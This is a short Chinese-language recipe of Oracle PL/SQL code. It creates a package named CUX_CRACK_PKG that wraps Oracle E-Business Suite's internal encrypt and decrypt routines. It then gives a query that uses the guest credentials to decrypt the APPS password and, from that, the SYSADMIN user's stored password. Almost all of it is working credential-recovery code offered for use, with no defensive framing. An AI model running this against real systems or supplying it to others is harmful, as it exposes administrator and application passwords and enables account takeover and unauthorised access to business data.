1、上传CUX_CRACK_PKG包
CREATE OR REPLACE PACKAGE CUX_CRACK_PKG AUTHID CURRENT_USER AS
--加密函数
function encrypt(key in varchar2, value in varchar2) return varchar2;
--解密函数
function decrypt(key in varchar2, value in varchar2) return varchar2;
END CUX_CRACK_PKG;
CREATE OR REPLACE PACKAGE BODY CUX_CRACK_PKG AS
function encrypt(key in varchar2, value in varchar2) return varchar2 as
language java name 'oracle.apps.fnd.security.WebSessionManagerProc.encrypt(java.lang.String,java.lang.String) return java.lang.String';
function decrypt(key in varchar2, value in varchar2) return varchar2 as
language java name 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END CUX_CRACK_PKG;
2、执行sql
SELECT usr.user_name,
cux_crack_pkg.decrypt(( SELECT ( SELECT cux_crack_pkg.decrypt(fnd_web_sec.get_guest_username_pwd,
usertable.encrypted_foundation_password)
FROM DUAL) AS apps_password
FROM apps.fnd_user usertable
WHERE usertable.user_name =
( SELECT SUBSTR(fnd_web_sec.get_guest_username_pwd,
1,
INSTR(fnd_web_sec.get_guest_username_pwd,
'/') - 1)
FROM DUAL)),
usr.encrypted_user_password) PASSWORD
FROM apps.fnd_user usr
WHERE usr.user_name = 'SYSADMIN'